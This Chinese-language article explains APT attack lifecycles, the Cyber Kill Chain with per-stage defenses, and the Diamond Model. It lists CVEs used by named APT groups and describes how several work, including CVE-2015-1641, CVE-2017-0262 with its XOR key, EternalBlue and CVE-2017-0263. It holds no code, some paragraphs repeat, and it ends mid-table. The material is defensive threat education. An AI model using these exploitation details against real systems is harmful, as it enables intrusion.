360发布的《摩诃草APT组织大揭秘》报告中,发现了摩诃草近年来大量使用即时通讯工具(主要是腾讯的QQ聊天工具)和社交网络(Facebook)进行载荷投递的攻击方式;即时通讯工具以发送二进制可执行程序为主,这类程序主要伪造成MP4格式的视频文件;社交网络(Facebook)的载荷投递一般是分为:SNS蠕虫、放置二进制格式可执行恶意程序或文档型漏洞文件。 在确定目标公司后,APT组织会开始收集目标的一切信息,如:公司用户的电子邮箱,手机号码,通讯软件号码、姓名、你的工作岗位接着APT组织会对目标开始构造钓鱼文档并准备投放,当内部工作人员打开恶意文档了之后,电脑会触发相关的漏洞为apt成员打开了一道通往内部网络的大门,这时候他们会开始寻找存放着信息的服务器并开始攻击服务器拿到自己想要的东西后,在植入木马进行权限维持。 0x04 APT的特点 目标 – 威胁的最终目标,即你的对手 时间 – 调查、入侵所花的时间 资源 – 所涉及的知识面及工具(技能和方法也有所影响) 风险承受能力 – 威胁能在多大程度上不被发觉 技能与方法 – 所使用的工具及技术 行动 – 威胁中采取的具体行动 攻击源头 – 攻击来源的数量 牵涉数量 – 牵涉到多少内部或外部系统,多少人的系统具有不同重要性 信息来源 – 是否能通过收集在线信息识别出某个威胁 0x05 APT攻击实现 APT攻击精心策划,精心执行。 它们通常分为四个阶段:入侵,发现,捕获和渗出。 在每个阶段中,可以使用各种技术,如下图示。 0x06 APT攻击的生命周期 APT的幕后黑手会对组织团体的金融财产、知识产权及名誉造成持续变化的威胁,其过程如下: 因一个目标开始盯上特定组织团体试图入侵到其环境中(如发送钓鱼邮件) 利用入侵的系统来访问目标网络部署实现攻击目标所用的相关工具隐藏踪迹以便将来访问。 2013年,美国网络安全公司麦迪安(Mandiant)发布了关于2004至2013年间的一例APT攻击的研究结果,其中的生命周期与上述相似: 初始入侵 – 使用社会工程学、钓鱼式攻击、零日攻击,通过邮件进行。在受害者常去的网站上植入恶意软件(挂马)也是一种常用的方法。 站稳脚跟 – 在受害者的网络中植入远程访问工具,打开网络后门,实现隐蔽访问。 提升特权 – 通过利用漏洞及破解密码,获取受害者电脑的管理员特权,并可能试图获取Windows域管理员特权。 内部勘查 – 收集周遭设施、安全信任关系、域结构的信息。 横向发展 – 将控制权扩展到其他工作站、服务器及设施,收集数据。 保持现状 – 确保继续掌控之前获取到的访问权限和凭据。 任务完成 – 从受害者的网络中传出窃取到的数据。 麦迪安所分析的这起入侵事件中,攻击者对受害者的网络保有控制权的平均时间为一年,最长时间为五年。 0x07 APT攻击阶段 APT攻击会更加系统,分布,协作,一般分成:信息收集,武器化部署,传递载荷,利用,安装,命令和控制,执行 而杀伤链一般是6个阶段:发现-定位-跟踪-瞄准-入侵-完成,APT攻击模型Cyber-Kill-chain与之对应 0x08 APT分析模型 这里借用两个分析模型,一个是kill-chain七层模型,一个是钻石模型 一、什么是网络攻击杀伤链(Cyber-Kill-Chain) “杀伤链”这个概念源自军事领域,它是一个描述攻击环节的六阶段模型,理论上也可以用来预防此类攻击(即反杀伤链)。杀伤链共有“发现-定位-跟踪-瞄准-打击-达成目标”六个环节。 在越早的杀伤链环节阻止攻击,防护效果就越好。例如,攻击者取得的信息越少,这些信息被第三人利用来发起进攻的可能性也会越低。 洛克希德-马丁公司提出的网络攻击杀伤链Cyber-Kill-Chain与此类似,本质是一种针对性的分阶段攻击。同样,这一理论可以用于网络防护,具体阶段如下图所示: 这就像传统的盗窃流程。小偷要先踩点再溜入目标建筑,一步步实行盗窃计划最终卷赃逃逸。要利用网络杀伤链来防止攻击者潜入网络环境,需要足够的情报和可见性来明了网络的风吹草动。当不该有的东西出现后,企业需要第一时间获悉,为此企业可以设置攻击警报。 另一个需要牢记的点是:在越早的杀伤链环节阻止攻击,修复的成本和时间损耗就越低。如果攻击直到进入网络环境才被阻止,那么企业就不得不修理设备并核验泄露的信息。 要想明确杀伤链技术是否适合自己的企业,不妨通过杀伤链模型的几个阶段入手,来发现企业应当核实的问题。 这就像传统的盗窃流程。小偷要先踩点再溜入目标建筑,一步步实行盗窃计划最终卷赃逃逸。要利用网络杀伤链来防止攻击者潜入网络环境,需要足够的情报和可见性来明了网络的风吹草动。当不该有的东西出现后,企业需要第一时间获悉,为此企业可以设置攻击警报。 另一个需要牢记的点是:在越早的杀伤链环节阻止攻击,修复的成本和时间损耗就越低。如果攻击直到进入网络环境才被阻止,那么企业就不得不修理设备并核验泄露的信息。 要想明确杀伤链技术是否适合自己的企业,不妨通过杀伤链模型的几个阶段入手,来发现企业应当核实的问题。 二、Cyber-Kill-Chain攻击杀伤链 对于混迹于安全圈的我们来说,洛克希德-马丁的网络杀伤链(Cyber-Kill-Chain,也被我们称网络攻击生命周期),专门用来识别和防止入侵。然而,攻击模式会一直变化,就拿Valut7来说,里面提到的攻击模型,都是在08年就已经开始在使用,而却在16年,17年才被曝光,可想而知,攻防之间的时间差是多么的严峻,所以我不给予希望一个Kill-Chain能够带来多大的安全防护,而重在开拓视野,最好能未雨绸缪,如今,Valut8已经曝光,企业安全,似乎远远没有我们想象的那么安静。 网络攻击杀伤链模型用于拆分恶意软件的每个攻击阶段,在每个阶段有对应的特征用于识别,但用我后面会提到的一句:堵不如疏,殊途同归,具体如何,后面会具体说说我自己的理解,现在先简单说说Cyber-Kill-Chain的每个阶段。 三、网络攻击杀伤链的各个阶段 Kill Chain模型将攻击者的攻击过程分解为如下七个步骤: 侦察(Reconnaissance)- 攻击者开始探测目标可能存在的弱点或不良配置 组装(Weaponization)- 攻击者开始构建一个可以传递给受害者的有效载荷(它可以是PDF文件或Office文档) 投送(Delivery)- 攻击者通过电子邮件,网页链接或可移动媒体将有效载荷发送给目标 利用(Exploit)- 有效载荷将在受害者的网络上执行 植入(Installation)- 有效载荷将下载其他远程访问工具,并安装它们以建立持久后门 命令和控制(Command and Control)- 在受害者和攻击者之间创建一个通道 收割(Actions)- 执行预期目标(如加密文件,窃取数据等) 1. ECONNAISSANCE 识别目标,信息收集 在这个阶段,犯罪分子试图确定目标的好坏。他们从外部了解企业的资源和网络环境,并确定是否值得攻击。最理想的情况是,攻击者希望目标防备薄弱、数据价值。罪犯可以找到的信息门类,以及这些信息如何被使用。 企业的信息价值往往超出他们想象。雇员的姓名和详细信息(不仅是企业网站,而且包括社交网站的信息)是否在网端存储?这些信息可以用来进行社会工程用途,比如,让人们透露用户名或密码。企业的网站服务器或物理位置是否接入网络吗?这些也可以用于社会工程,或帮助攻击者缩小企业环境漏洞的寻找范围。 这个层面上的问题很难处理,社交网络的普及让它变得尤为棘手。将敏感信息隐藏起来是一个廉价的改善方式,虽然这也增加信息调用的时间成本。 攻击方防御方特点攻击方的攻击计划阶段。他们进行研究,以了解其目标,使他们能够实现自己的目标探测侦察,因为它发生是非常困难的,但是,当守军发现侦察 - 事后甚至好 - 它可以揭示了攻击方的意图。常用攻击/防御方式获取电子邮件地址,确定员工社交媒体网络,收集新闻稿,合约奖励,会议出席者名单,探索放在公网上运行的服务器收集网站访问者日志警报和历史搜索,与网站管理员合作对其现有浏览器进行分析,建立浏览异常、行为独特的检测机制,优先周围的防御,特别是基于技术和人的侦察活动。 2. WEAPONIZATION 武器化准备工作 这些阶段是攻击者用工具攻击被选目标的具体过程,他们收集的信息将被用于恶意行为。他们手头的信息越多,社会工程攻击就越无缝可击。通过员工在LinkedIn上的信息,他们可以用鱼叉式钓鱼获得公司内部资源。或者,他们可以把远程访问木马提前嵌入可能会录入重要信息的文件里,以诱使接收者运行它。如果他们知道用户或服务器运行的软件信息,比如操作系统版本和类型,他们在企业网络里渗透和布置的把握就大大增加。 就这些阶段的防御而言,企业应当参照标准安全专家的建议去做。 企业的软件是否达到最新?这需要具体到每台终端上的每个应用。大多数公司都有某个小角落还用着老式台式机,系统仍然用的是Windows 98。如果这台设备接入网络,无异于对攻击者门洞大开。 企业使用电子邮件和网页过滤功能吗?电子邮件过滤可以有效阻止攻击中常用的文档类型。如果企业的文件必须用某种标准发送,比如密码保护的ZIP文件,这可以让用户了解文件是否无误。网页过滤则可以防止用户访问已知的不良网站或域名。 企业禁用USB设备吗?从安全的角度来看,让文件不需许可就运行绝非什么好主意。最好在运行前,确保给用户有时间暂停和思考他们所看到的情况。 企业使用端点保护软件的最新功能吗?虽然端点保护软件不是为了应对新型针对性攻击而设计,但是它们常常根据已知的可疑行为或软件漏洞来捕捉威胁。 3. 传递:传递载荷,启动运行 攻击方防御方特点在攻击方向目标传达了恶意软件之后。都将开始执行进一部分攻击操作。这是防御方阻止该操作的第一个也是最重要的机会。有效性的关键措施是阻断入侵尝试和工具传递的重要部分常用攻击/防御方式攻击方控制下传递载荷:直接针对Web服务器,攻击方释放载荷:恶意电子邮件,恶意软件的USB存储,社交媒体互动,“水坑式”钓鱼网站攻击分析和理解载荷传递的介质 - 关注上层的基础设施主要是关键基础设施,了解目标服务器和相关人员,他们的角色和责任,可用的信息,根据攻击方载荷情况推断攻击方的意图,分析“军火库”攻击载荷在传递区域检测新的恶意代码,分析在一天中的什么时间段对方开始行动,收集电子邮件和网络日志,还原取证。即使后期检测到入侵,防御方必须能够确定何时以及如何开始传递载荷。 4. 利用获取目标访问权限 攻击方防御方特点攻击方利用一个漏洞来获得访问权限(实际上可能会运用多个漏洞)。“0day”指的就是此步骤中使用的攻击漏洞。这里部署的一般是传统的防御措施,同时针对“0day”,“1day”,“Nday”等类型的漏洞增加弹性,定制化的防御能力常用攻击/防御方式软件,硬件,或人类的脆弱性,获取或发现“0day”漏洞,攻击方利用基于服务器的安全漏洞,受害者触发漏洞:点击恶意电子邮件,点击恶意链接用户安全意识培训和员工的电子邮件测试。以及邮箱服务器防护,Web开发人员的对于安全编码培训,定期扫描漏洞和渗透测试,端点防御措施:限制管理员权限,使用Microsoft EMET,自定义端点规则阻断shellcode执行,端点登录审计过程,取证确定攻击源。 5. 安装:在目标建立堡垒 通常情况下攻击方安装一个持续后门或植入,可以长时间访问目标的工具终端防御检测和记录“异常”安装活动。恶意软件分析过程中分析安装阶段的行为可以缓解攻击。常用攻击/防御方式Web服务器上安装木马后门,在目标客户端安装后门和植入,在目标上创建持续运行的服务,或者自启的服务和进程等等,有些攻击者会让一些“时间点”的文件,让恶意软件看起来它就是操作系统安装的一部分。一个好的建议:关注通用软件安装路径,例如RECYCLER,了解恶意软件是需要特权账户还是一般用户的权限,终端接入审计:去发现异常文件的创建,所有的摘录证书,主要是包含签名的可执行文件,了解恶意软件的编译时间,以确定它是旧的还是新出现的恶意软件。 5. 命令和控制(C2):远程控制和植入 一旦威胁在企业的网络环境里扎根,它的下一个任务是给老窝打电话并等待指示。它可能下载额外的组件,更有可能的是通过C&C通道联系一个僵尸网络主控机。无论哪种方式,这都要求网络流量,这意味着企业必须扪心自问:防火墙是否设置了新项目进行网络通信的警报? 如果威胁已经实现了这些,它将对机器进行更改并将耗费IT工作人员对大量精力。有些公司或行业要求诊断受影响的机器上哪些数据被窃取或篡改。受影响的机器需要进行清洗或重置。如果数据已经备份,或者有可以快速加载到机器的标准企业模式,修复工作的成本和时间损耗就会有所降低。 有些攻击会另辟蹊径 去年的攻击状况已经充分证明了一点:攻击者不会严格按照游戏流程来——他们可能跳过步骤、添加步骤,甚至重复之前的步骤。最近的一些最具破坏性的攻击事件都是如此,这些攻击之所以能绕过安全团队耗费多年精心打造的防御体系,是因为它们有不同的流程安排。 “符合洛克希德-马丁公司的杀伤链的恶意行为被重点关注,这也让某些攻击隐形了。”Kudelski Security的全球管理服务副总裁Alton Kizziah说。 数据中心安全的领军者Alert Logic的合伙人、产品营销高级经理Misha Govshteyn指出:“杀伤链从来不能彻底符合我们看到的种种攻击。” 根据2017年威瑞森的数据泄露调查报告,今年,网络程序攻击成为了数据泄露的最常见形式,在数据泄露案例中占到了近三分之一。常见方法是利用应用程序自身的漏洞。最近的Equifax数据泄露事件就是典型例子。这种攻击很难发现。在两个月里,Equifax未在网站上发现可疑的网络流量。“通常到了数据外泄的时候,企业才能察觉。”Positive Technologies的网络安全弹性主管Leigh-Anne Galloway说。“或者,可能需要一个第三方的实体,例如某个客户,来提醒企业出了问题。”Equifax泄露案可以追溯到Apache Struts Web服务器软件中的一个漏洞。如果公司安装了这个漏洞的安全补丁,这个问题可能会避免,但是有时软件更新本身就是恶意攻击的桥梁,9月发生的CCleaner被黑事件就是一例。零日漏洞也是大麻烦。根据Contrast Security的共同创始人兼首席技术官杰夫·威廉姆斯的观点,平均每个软件应用和api拥有26.8个严重漏洞。“这是一个惊人的数字,”他说。“公众对Equifax感到愤怒,但事实是,几乎所有的公司在应用程序层都是不安全的。我们发现,世界各地有成千上万的IP地址正在进行的应用攻击尝试,这一现象正在扩散。” 要抵御这类攻击,企业必须缩短补丁的安装延迟。“过去的时候,直到应用程序漏洞被披露后的数周或数月,针对性的攻击才会出现,”他说,“但是今天,安全窗口已经只有一天左右,而在2018年,这一时间可能进一步缩减到几个小时。”他补充说,企业也需要开始将安全控件直接嵌入到应用程序里。这被称为应用程序的运行自保,Gartner预测这一细分市场的复合年增长率为9%。 “安全需要更贴近应用程序,需要深入了解程序的核心进程和内存使用量,”Virsec Systems的创始人和首席技术官Satya Gupta说。“新的流程控制技术将嵌入到应用程序层面,能理解应用的协议和环境,可以将可接受的应用程序流程绘制出来(就像谷歌地图)。如果应用程序应该从A点走到B点,但是却出现了一段意外的路程,那么肯定出错了。” 攻击者也可以利用被泄露的身份信息或强度弱的密码。这一过程不需要安装恶意软件,也不用与C&C服务器通信,不会产生横向操作。“寻找一份泄露的数据库或Amazon S3数据意味着攻击可以简便完成,从而避免和防御者交锋。”Obsidian Security的首席技术官Ben Johnson说。根据RedLock本月发布的一份报告,53%的组织使用Amazon S3等云存储服务,这至少导致了一个意外结果,即数据暴露在公众面前。今年夏天的早些时候,Skyhigh Networks报道称,7%的企业使用的所有AWS S3数据可以无限制访问,另有35%的企业未对数据加密。由于数据是通过合法渠道传出,数据防泄露可能无法检测这种行为。Govshteyn说:“企业需要专门的工具来保护针对网络应用程序的攻击。”DOS攻击也难以被杀伤链解释。“攻击者仍需选择目标,所以必须进行侦察阶段。”Cybereason的首席安全官Sam Curry说。但是在准备之后,攻击者将直接跳转到中断阶段。他补充说DOS攻击也可能只是攻击的第一步,用来掩盖其他恶意行为。“当系统崩溃时,攻击者可以创建一个漏洞,”他说,“或者创建一个高信噪的筛选器,来掩盖痕迹或破坏系统的信号发现能力。”他说,攻击者也可以添加步骤到游戏流程里。例如,他们可以花时间清理痕迹、设置中断、传播虚假数据,或安装未来用得上的后门。他们也可以重新安排各步骤的顺序,或者重复之前的步骤。这不是一个简单的线性过程。这通常更像树状或根系的分支和蔓延,这一过程很复杂,会发生很多事情。 攻击方防御方特点恶意软件将打开通信信道,以使攻击方远程操作目标。向C2目标开放双向通信通道基础设施;防御的最后一个最佳时机-阻止C2操作:“通过阻断C2通道”。如果攻击方不能通过通信信道发出命令,相应的防御方就可以实现阻断C2攻击常用攻击/防御方式最常见的C2渠道涉及web,DNS和电子邮件协议,C2基础设施可能被攻击方或目标自身所拥有通过全面的恶意软件分析工具去发现部署和执行了C2的基础设施强化网络:汇总所有存在的互联网点,规范所有类型的代理流量(HTTP,DNS等);自定义C2模块:网络代理协议;代理类模块,包括“none”或“未分类”的域;DNS穿透和域名服务器毒化防御;实施开源研究发现新的C2攻击方式。 6. 行动:使命必达,不达目的,誓不罢休 在拒绝服务攻击案例中,中断不一定是攻击的最后一步。在攻击者成功地破坏、瘫痪或渗入系统后,攻击者可以重复这一过程。也可以转移到另一个阶段——盈利。Preempt Security的首席执行官 Ajit Sancheti 认为,攻击者可能采取任意形式的组合。比如,他们可以通过破坏基础设施来进行广告欺诈或发送垃圾邮件、向企业勒索赎金、出售他们在黑市上获得的数据,甚至劫持基础设施出租给其他罪犯。“攻击的盈利已经急剧增加。”他补充说,比特币的使用让攻击者更简便、安全地得到钱,这导致了攻击动机的变化。不同群体的数量参与也让黑市上被盗数据的消费变得更加复杂。这也为企业、执法部门和其他组织创造了合作破坏这一过程的机会。以被盗的支付卡信息为例。“一旦信用卡数据被盗,这些数据必须被测试、出售、用于获取商品或服务,反过来这些商品或服务必须转换为现金。”Splunk公司的安全研究主管Monzy Merza说。这一切都早已超出了传统网络杀伤链的范畴。黑市生态系统也在影响了网络攻击周期中的攻击准备环节。攻击者们会分享身份凭证列表、漏洞或被修改的应用程序。 攻击方防御方特点激活键盘接入激活键盘接入,入侵者完成任务的目标。接下来会发生什么将取决于谁是在键盘上。较长的攻击方有CKC7访问,更大的影响。包括网络数据包捕获,进行损失评估 - 防御方必须通过取证去尽可能快地检测到这一阶段常用攻击/防御方式收集用户凭据,权限提升,内部侦查,横向内网渗透,收集和传出数据,破坏系统,覆盖或破坏数据,偷偷修改数据制定事件响应流程,包括行政参与和沟通计划。检测数据泄露,横向传输,未经授权证书的使用。即时响应分析反馈所有事件告警。预先部署监控节点端点快速分流。网络包捕获,还原攻击活动。让专家进行事件损害评估 四、钻石模型 钻石模型是一个针对单个事件分析的模型,核心就是用来描述攻击者的技战术和目的,具体的钻石模型如下图所示: 钻石模型由三部分组成:置信度、元数据、社会-政治影响和技战术组合 社会政治影响:处于钻石模型上下两个顶点,上顶点表示攻击者,下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因,纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。 技战术组合:技战术组合位于整个钻石模型的横切面,横切面的两个顶点分别为基础设施和技术能力,这里的基础设施和技术能力其实都是相对于攻击者而言的。 元数据:这个其实就是左边列出来的,攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。 置信度:也就是以上你分析出结果的可信程度。 钻石模型想要表达的其实就是针对单个安全事件,我们可以得到攻击者为什么想要攻击目标,打算用什么手段去攻击目标。 0x09 APT常用漏洞 1、Office漏洞 Office漏洞依然是大部分APT组织最喜爱的漏洞,Office在个人办公电脑使用量大,对针对性目标是最佳的外网入口,效果也是最直接的。你可能想到了办公套件这类神器,正所谓:最大的漏洞不是存在于任何系统上面,而是人。 CVE编号 漏洞类型 使用组织 CVE-2009-2496 堆损耗远程代码执行漏洞,又称作 “Office Web 组件堆损耗漏洞 “ 丰收行动 CVE-2010-3333 RTF分析器堆栈溢出漏洞,又称”RTF栈缓冲区溢出漏洞”   CVE-2012-0158 Microsoft Windows Common Controls ActiveX控件远程代码执行漏洞,栈内存拷贝溢出漏洞,又称“MSCOMCTL.OCX RCE漏洞” 摩诃草 蔓灵花 白象 Rotten Tomato CVE-2013-3906 Microsoft Graphics组件处理特制的TIFF图形时存在远程代码执行漏洞 摩诃草 白象 CVE-2014-1761 Microsoft Word RTF文件解析错误代码执行漏洞 摩诃草 Pitty Tiger 白象 Rotten Tomato CVE-2014-4114 OLE包管理INF 任意代码执行漏洞 摩诃草 白象 CVE-2015-1641 RTF解析中的类型混淆漏洞 MONSOON 摩诃草 白象 奇幻熊 Rotten Tomato 丰收行动 CVE-2015-2545 EPS图形文件任意执行代码 Rotten Tomato CVE-2015-2546 UAF(释放后重用)漏洞   CVE-2016-7193 RTF文件解析漏洞,可远程执行任意代码   CVE-2017-0199 首个Microsoft Office RTF漏洞 暗黑客栈 CVE-2017-0261 EPS中的UAF漏洞 摩诃草 白象 Turla CVE-2017-0262 EPS中的类型混淆漏洞 摩诃草 白象 CVE-2017-11826 OOXML解析器类型混淆漏洞 东亚某组织 CVE-2017-11882 “噩梦公式”公式编辑器中的栈溢出漏洞,可远程代码执行 白象 响尾蛇 寄生兽 摩诃草 人面马 黑凤梨 CVE-2017-8464 解析快捷方式时存在远程执行任意代码的高危漏洞   CVE-2017-8570 OLE对象中的逻辑漏洞 (CVE-2017-0199的补丁绕过),“沙虫”二代漏洞 白象 寄生兽 摩诃草 CVE-2017-8759 .NET Framework中的逻辑漏洞   CVE-2018-0802 “噩梦公式二代”利用office内嵌的公式编辑器EQNEDT32.EXE发起攻击 黑凤梨 CVE-2018-8174 利用浏览器0day漏洞的新型Office文档攻击   2、Adobe 系漏洞 Adobe系列包括Adobe Reader、Acrobat、Flash Player,Flash Player因为其跨平台,使用广泛,一直也受到各大APT组织的关注。 CVE编号 漏洞类型 影响版本 使用组织 CVE-2007-5659 Adobe Acrobat/Reader PDF文件 多个缓冲区溢出漏洞 Adobe Acrobat 8 Adobe Reader 8 Adobe Reader 7 丰收行动 CVE-2008-2992 Adobe Reader util.printf() JavaScript函数栈溢出漏洞 Adobe Acrobat < 8.1.3 Adobe Reader < 8.1.3 丰收行动 CVE-2009-0927 Adobe Acrobat和Reader Collab getIcon() JavaScript方式栈溢出漏洞 Adobe Acrobat 9 Adobe Acrobat 8 Adobe Acrobat 7.0 Adobe Reader 9 Adobe Reader 8 Adobe Reader 7 丰收行动 CVE-2009-4324 Adobe Reader和Acrobat newplayer() JavaScript方式内存破坏漏洞 Adobe Acrobat <= 9.2 Adobe Reader <= 9.2 丰收行动 CVE-2010-0188 Adobe Reader和Acrobat TIFF图像处理缓冲区溢出漏洞 Adobe Acrobat < 9.3.1 Adobe Acrobat < 8.2.1 Adobe Reader < 9.3.1 Adobe Reader < 8.2.1 丰收行动 CVE-2010-3653 Adobe Shockwave Player Director文件rcsL块解析内存破坏漏洞 Adobe Shockwave Player 11.5.8.612 丰收行动 CVE-2012-0773 Adobe Flash Player / AIR NetStream类任意代码执行或拒绝服务漏洞 Adobe Flash Player 11.x Adobe AIR 3.x The mask CVE-2013-0640 Adobe Acrobat和Reader远程代码执行漏洞 Adobe Acrobat 9.x Adobe Acrobat 11.x Adobe Acrobat 10.x Adobe Reader 9.x Adobe Reader 11.x Adobe Reader 10.x 丰收行动 CVE-2014-0497 Adobe Flash Player远程代码执行漏洞 Adobe Flash Player 12.x Adobe Flash Player 11.x 暗黑客栈 CVE-2015-5119 Adobe Flash Player ActionScript 3 ByteArray释放后重用远程漏洞 Adobe Flash Player <= 18.0.0.194 Adobe Flash Player <= 18.0.0.194 Adobe Flash Player Extended Support Release 13.x Adobe Flash Player Extended Support Release 13.0.0.296 Adobe Flash Player for Linux 11.x Adobe Flash Player for Linux 11.2.202.468 蓝白蚁 Hacking Team CVE-2015-8651 Adobe Flash Player整数溢出漏洞 Adobe Flash Player < 18.0.0.324 Adobe Flash Player < 11.2.202.559 Adobe Flash Player 20.x-20.0.0.267 Adobe Flash Player 19.x Adobe AIR < 20.0.0.233 暗黑客栈 CVE-2016-0984 Adobe Flash远程代码执行漏洞 Adobe Flash Player before 18.0.0.329 and 19.x and 20.x before 20.0.0.306 BlackOasis CVE-2016-4117 Adobe Flash Player 任意代码执行漏洞 Adobe Flash Player <= 21.0.0.226 奇幻熊 CVE-2016-7855 Adobe Flash Player 释放后重利用远程代码执行漏洞 Adobe Flash Player <= 23.0.0.185 Adobe Flash Player <= 11.2.202.637   CVE-2017-11292 类型混淆漏洞导致的远程代码执行 Adobe Flash Player Desktop Runtime Adobe Flash Player for Google Chrome Adobe Flash Player for Microsoft Edge and Internet Explorer 11 Adobe Flash Player Desktop Runtime 黑色绿洲 Lazarus CVE-2018-4878 Adobe Flash Player释放后重利用远程代码执行漏洞 Adobe Flash Player <= 28.0.0.137 Lazarus 3、IE漏洞 浏览器是用户接入互联网的门户,IE浏览器是Windows系统的默认浏览器,IE浏览器漏洞的使用一直也受各大组织喜爱。 CVE编号 漏洞类型 影响版本 使用组织 CVE-2010-0806 Microsoft IE畸形对象操作内存破坏漏洞 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 丰收行动 CVE-2010-3962 Microsoft IE CSS标签解析远程代码执行漏洞 Microsoft Internet Explorer 8.0 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 丰收行动 CVE-2012-4792 Microsoft IE mshtml!CButton对象释放后重用代码执行漏洞 Internet Explorer 6Internet Explorer 7Internet Explorer 8 摩诃草 CVE-2014-0322 Microsoft Internet Explorer释放后重用远程代码执行漏洞 Microsoft Internet Explorer 10 Pitty Tiger CVE-2016-7279 Microsoft Internet Explorer/Edge远程内存破坏漏洞 Microsoft Edge   CVE-2017-8618 Microsoft Internet Explorer远程代码执行漏洞 Microsoft Internet Explorer 9 Microsoft Internet Explorer 11 Microsoft Internet Explorer 10   CVE-2018-0978 Microsoft Internet Explorer远程内存破坏漏洞 Microsoft Internet Explorer 9-11   CVE-2018-8113 Microsoft Internet Explorer安全限制绕过漏洞 Microsoft Internet Explorer 11   CVE-2018-8178 Microsoft Internet Explorer/Edge 远程内存破坏漏洞 Microsoft Edge Microsoft ChakraCore   4、防火墙设备漏洞 2016年8月13日客组织ShadowBrokers声称攻破了为NSA开发网络武器的黑客团队Equation Group,并公开其内部使用的相关工具,EXBA-extrabacon工具,该工具基于0-day漏洞CVE-2016-6366,为Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞 CVE-2016-6366(基于Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞),目标设备必须配置并启用SNMP协议,同时必须知道SNMP的通信码,漏洞执行之后可关闭防火墙对Telnet/SSH的认证,从而允许攻击者进行未授权的操作。 CVE编号 漏洞说明 CVE-2016-6366 SNMP服务模块的一处缓冲区溢出漏洞 CVE-2016-6367 远程代码执行 5、SMB通信协议漏洞 EternalBlue工具使用了SMB协议中的三处漏洞,其中主体的越界内存写漏洞隶属于微软MS17-010补丁包中的CVE-2017-0144,通过该集成的工具,攻击者可以直接远程获取漏洞机器的控制权限。 EternalBlue中的核心了漏洞为CVE-2017-0144,该漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发,当其中的FEALIST字段长度大于10000时将导致内存越界写,由于SMB_COM_TRANSACTION2命令本身FEA LIST的长度最大为FFFF,因此这里就涉及到第二处漏洞,即SMB_COM_TRANSACTION2可被混淆为SMB_COM_NT_TRANSACT,从而实现发送一个FEA LIST字段长度大于10000的SMB_COM_TRANSACTION2命令,实现越界写,最后通过第三个漏洞进行内存布局,最终实现代码执行。 CVE编号 漏洞说明 CVE-2017-0143 CVE-2017-0144 CVE-2017-0145 CVE-2017-0146 CVE-2017-0148 SMB协议漏洞 6 、OOXML类型混淆漏洞 OOXML是微软公司为Office2007产品开发的技术规范,现已成为国际文档格式标准,兼容前国际标准开放文档格式和中国文档标准“标文通”,Office富文本中本身包含了大量的XML文件,由于设计不当,在对其中的XML文件进行处理的时候,出现了严重的混淆漏洞,最典型的包括CVE-2015-1641,CVE-2017-11826,这里我们选择近年来最流行的OOXML类型混淆漏洞CVE-2015-1641作为典型代表。 2015年4月,微软修补了一个CVE编号为CVE-2015-1641的Office Word类型混淆漏洞。OfficeWord在解析Docx文档displacedByCustomXML属性时未对customXML对象进行验证,造成类型混淆,导致任意内存写,最终经过精心构造的标签以及对应的属性值可以造成远程任意代码执行。这是第一个利用成功率非常高且被APT组织频繁使用的OOXML类型混淆漏洞。 CVE-2015-1641中,由于OfficeWord没有对传入的customXML对象进行严格的校验,导致可以传入比如smartTag之类的对象,然而smartTag对象的处理流程和customXML并不相同,如果customXML标签被smartTag标签通过某种方法混淆解析,那么smartTag标签中的element属性值会被当作是一个地址,随后经过简单的计算得到另一个地址。最后处理流程会将moveFromRangeEnd的id值覆盖到之前计算出来的地址中,导致任意内存写入。然后通过写入可控的函数指针,以及通过Heap Spray精心构造内存布局,最终导致代码执行。 CVE编号 漏洞说明 CVE-2015-1641 customXML对象类型混淆 CVE-2017-11826 XML中的idmap标签计算错误导致混淆 7 、EPS(EncapsulatedPost Script)脚本解析漏洞 EPS全称EncapsulatedPost Script,属于PostScript的延伸类型,适用于在多平台及高分别率输出设备上进行色彩精确的位图及向量输出,因此在Office中也引进了相应的支持,但是自2015年起多个Office中EPS相关的漏洞被利用,其中包括CVE-2015-2545,CVE-2017-0261,CVE-2017-0262,最终导致微软不得不禁用Office中的EPS组件,而此处我们选择以CVE-2017-0262作为典型代表。 2017年5月7日FireEye研究员在文章EPSProcessing Zero-Days Exploited by Multiple Threat Actors中披露了多个EPS0-day漏洞的在野利用,其中就包含CVE-2017-0262,CVE-2017-0262为ESP中forall指令中的一处漏洞,由于forall指令对参数校验不当,导致代码执行。 CVE-2017-0262的利用样本中首先对实际的EXP进行了四字节的xor编码,key为c45d6491: 漏洞的关键点在于以下一行的代码,在EPS中forall指令会对第一个参数中的每一个对象执行处理函数proc(即第二个参数),此处由于对第二个参数的类型判断不严格,导致0xD80D020这个攻击者之前通过堆喷控制的内存地址被作为处理函数的地址,从而esp堆栈被控制,致使最后的代码执行: CVE编号 漏洞说明 CVE-2015-2545 UAF漏洞 CVE-2017-0261 Save,restore指令中的UAF漏洞 CVE-2017-0262 forall参数类型校验不严格导致代码执行 8、Windows提权漏洞 在对Office办公软件的EPS(EncapsulatedPost Script)组件进行漏洞攻击的过程中,由于Office 2010及其高版本上的EPS脚本过滤器进程fltldr.exe被保护在低权限沙盒内,要攻破其中的低权限沙盒保护措施,攻击者就必须要使用远程代码执行漏洞配合内核提权漏洞进行组合攻击。所以我们选择Win32k.sys中的本地权限提升漏洞(CVE-2017-0263)这一个配合EPS类型混淆漏洞(CVE-2017-0262)进行组合攻击的提权漏洞作为典型代表。 CVE-2017-0263漏洞利用代码首先会创建三个PopupMenus,并添加相应的菜单。由于该UAF漏洞出现在内核的WM_NCDESTROY事件中,并会覆盖wnd2的tagWnd结构,这样可以设置bServerSideWindowProc标志。一旦设置了bServerSideWindowProc,用户模式的WndProc过程就会被视为内核回调函数,所以会从内核上下文中进行调用。而此时的WndProc则被攻击者替换成了内核ShellCode,最终完成提权攻击。 引入了“沙盒”保护的常客户端程序有:IE/Edge浏览器、Chrome浏览器、Adobe Reader、微软Office办公软件等等。而客户端程序漏洞如果配合Windows提权漏洞则可以穿透应用程序“沙盒”保护。 CVE编号 漏洞说明 CVE-2015-2546 